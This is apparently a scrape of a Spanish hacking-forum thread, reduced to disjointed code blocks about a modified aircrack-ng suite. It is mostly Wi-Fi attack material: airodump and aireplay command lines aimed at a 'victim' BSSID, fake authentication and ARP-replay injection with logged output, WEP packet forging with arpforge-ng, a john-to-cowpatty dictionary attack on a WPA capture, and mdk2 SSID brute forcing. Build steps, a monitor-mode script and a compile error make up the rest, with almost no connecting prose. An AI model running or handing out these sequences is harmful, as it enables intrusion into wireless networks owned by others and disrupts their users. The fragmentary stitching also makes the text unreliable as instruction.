Foro de elhacker.net

  Airodump-ng 0.6 - (C) 2006 Thomas d'Otreppe
  Original work: Christophe Devine
  http://www.aircrack-ng.org

  usage: airodump-ng <options> <interface>

  Options:
      --ivs               : Save only captured IVs
      --gpsd              : Use GPSd
      --write    <prefix> : Dump file prefix (mandatory)
      -w                  : same as --write
      --beacons           : Record all beacons in dump file

  By default, airodump-ng hop on 2.4Ghz channels.
  You can make it capture on other/specific channel(s) by using:
      --channel <channel> : Capture on a specific channel
      -c                  : Same as --channel
      -a                  : Will hop on 5Ghz channels
      --abg               : Will hop on 2.4 and 5Ghz channels

 Airodump-ng 0.6 - (C) 2006 Thomas d'Otreppe
  Original work: Christophe Devine
  http://www.aircrack-ng.org

  usage: airodump-ng <options> <interface>[,<interface>,...]

  Options:
      --ivs               : Save only captured IVs
      --gpsd              : Use GPSd
      --write    <prefix> : Dump file prefix (mandatory)
      -w                  : same as --write
      --beacons           : Record all beacons in dump file
      --netmask <netmask> : Filter APs by mask
      --bssid     <bssid> : Filter APs by BSSID
      --wordlist  <files> : Dict-Attack every WEP network with enough data

  By default, airodump-ng hop on 2.4Ghz channels.
  You can make it capture on other/specific channel(s) by using:
      --channel <channels>: Capture on specific channels
      -c                  : Same as --channel
      -a                  : Will hop on 5Ghz channels
      --abg               : Will hop on 2.4 and 5Ghz channels
      --cswitch  <method> : Set channel switching method
                    0     : FIFO (default)
                    1     : Round Robin
                    2     : Hop on last
      -s                  : same as --chswitch

[root@rh3nt0n aircrack-ng-0.6]# ./aireplay-ng

  Aireplay-ng 0.6 - (C) 2006 Thomas d'Otreppe
  Original work: Christophe Devine
  http://www.aircrack-ng.org
  Thanks to: recursive and Hirte for de code
  MOTHERFUCKER EDITION V 0.1
  By thefkboss

  usage: aireplay-ng <options> <replay interface>

  filter options:

      -b bssid  : MAC address, Access Point
      -d dmac   : MAC address, Destination
      -s smac   : MAC address, Source
      -m len    : minimum packet length
      -n len    : maximum packet length
      -u type   : frame control, type    field
      -v subt   : frame control, subtype field
      -t tods   : frame control, To      DS bit
      -f fromds : frame control, From    DS bit
      -w iswep  : frame control, WEP     bit

  replay options:

      -x nbpps  : number of packets per second
      -p fctrl  : set frame control word (hex)
      -a bssid  : set Access Point MAC address
      -c dmac   : set Destination  MAC address
      -h smac   : set Source       MAC address
      -e essid  : fakeauth  attack : set target AP SSID
      -j        : arpreplay attack : inject FromDS pkts
      -g value  : change ring buffer size (default: 8)

  source options:

      -i iface  : capture packets from this interface
      -r file   : extract packets from this pcap file

  attack modes (Numbers can still be used):

      --deauth      count : deauthenticate 1 or all stations (-0)
      --fakeauth    delay : fake authentication with AP (-1)
      --interactive       : interactive frame selection (-2)
      --arpreplay         : standard ARP-request replay (-3)
      --chopchop          : decrypt/chopchop WEP packet (-4)

 ./airodump-ng -c 11 -b <BSSID> -w <file> ath0  

./aireplay-ng -3 -g 180 -r file.cap -b <bssid_ap> -h <cliente_ap> ath0 

unzip  aircrack-ng-0.6 MOTHERFUCKER EDITION 0.1.zip
cd aircrack-ng-0.6
make 
make install 

make clean && make && make install

airodump-ng --ivs -w ath0

arpforge-ng replay_dec-0627-022301.xor 1 MAC AP MAC CLIENTE legitimo 192.168.0.255(acuerdate del 255al final la ip ) 192.168.0.2(ip del cliente legitimo) arp.cap

aireplay-ng -2 -r arp.cap -x 1000 ath0

aircrack-ng -3 -b bssid -h station -x 1024 -g 1000000 ath0 

airodump-ng --ivs -w [archivo_donde_guardar] --bssid [el_bssid_de_la_victima] --c [1,2] --cswitch 0 ath0 rausb0

airodump-ng --ivs -w [archivo_donde_guardar] --bssid [el_bssid_de_la_victima] --c [3,3] --cswitch 0 ath0 rausb0

airodump-ng --ivs -w [archivo_donde_guardar] --bssid [el_bssid_de_la_victima] --c [3] --cswitch 0 ath0 rausb0

airmon-ng start eth0 1

Wrong radiotap header version

associate=0

ferbo@FeRbOs-LaP:~$ sudo aireplay -1 30 -x 1000 -e xxxxxx -a MACBSSID -h MACTARJETA eth2
19:58:40  Sending Authentication Request
19:58:42  Sending Authentication Request
19:58:44  Sending Authentication Request
19:58:46  Sending Authentication Request
19:58:48  Sending Authentication Request
19:58:50  Sending Authentication Request
19:58:50  Authentication successful
19:58:50  Sending Association Request
19:58:50  Association successful :-)
[b][glow=red,2,300]19:59:00  Got a deauthentication packet![/glow][/b]
19:59:03  Sending Authentication Request
19:59:05  Sending Authentication Request
19:59:05  Authentication successful
19:59:05  Sending Association Request
19:59:10  Sending Authentication Request
19:59:12  Sending Authentication Request
19:59:14  Sending Authentication Request

Attack was unsuccessful. Possible reasons:

    * Perhaps MAC address filtering is enabled.
    * Check that the BSSID (-a option) is correct.
    * The driver hasn't been patched for injection.
    * This attack sometimes fails against some APs.
    * The card is not on the same channel as the AP.
    * Injection is not supported AT ALL on HermesI,
      Centrino, ndiswrapper and a few others chipsets.
    * You're too far from the AP. Get closer, or lower
      the transmit rate (iwconfig <iface> rate 1M).

tar -zxvf aircrack-ng-0.6-motherfucker_06.tar.gz

 make clean && make && make install

airodump-ng -w nombre del archivo -c canal <tarjeta de q dispones>

john -w:dictionary.txt -rules -session:johnrestore.dat -stdout:63 | cowpatty -r capture.cap -f--s

mdk2 <interface> p -b <caracteres a usar> -t <bssid>

mdk2 ra0 p -b n 010020 -t 00:11:22:33:44:55 -s 100

Pues yo sigo con lo mismo. Interface grafico seria una pasada y si encima, te diera la Gate ya sería la coña

make clean 
make 
sudo make install 
passw: tu_password

sudo make install 
passw:

vi ath_monitor 

#!/bin/bash
# configuracion atheros modo monitor
sudo wlanconfig ath0 destroy
sudo modprobe -r ath_pci
sudo modprobe ath_pci autocreate=monitor
echo "Quieres lanzar airodump s/n?"
read respuesta
if [ $respuesta = s ];then
     sudo airodump-ng ath0
     else
     exit
fi

sudo chmod u+x ath_monitor
sudo cp ath_monitor /bin

sudo ath_monitor  

rh3nt0n@rh3nt0n-laptop:~$ sudo ath_monitor
Quieres lanzar airodump s/n?

gcc -g -W -Wall -O3 -D_FILE_OFFSET_BITS=64 src/aireplay-ng.c src/common.c -o aireplay-ng
src/aireplay-ng.c: En la función 'openraw':
src/aireplay-ng.c:2431: error: no se conoce el tamaño de almacenamiento de 'ifr'
src/aireplay-ng.c:2438: aviso: el puntero que apunta en el paso del argumento 2 de '__builtin_strncpy' difiere en signo
src/aireplay-ng.c:2431: aviso: variable 'ifr' sin usar
src/aireplay-ng.c: En la función 'read_prn':
src/aireplay-ng.c:2572: aviso: el puntero que apunta en la asignación difiere en signo
src/aireplay-ng.c: En la función 'main':
src/aireplay-ng.c:2872: aviso: el puntero que apunta en el paso del argumento 1 de 'get_ip' difiere en signo
src/aireplay-ng.c:2885: aviso: el puntero que apunta en el paso del argumento 1 de 'get_ip' difiere en signo
src/aireplay-ng.c:3167: aviso: el puntero que apunta en el paso del argumento 1 de 'openraw' difiere en signo
src/aireplay-ng.c:3177: aviso: el puntero que apunta en el paso del argumento 1 de 'openraw' difiere en signo
make: *** [aireplay-ng] Error 1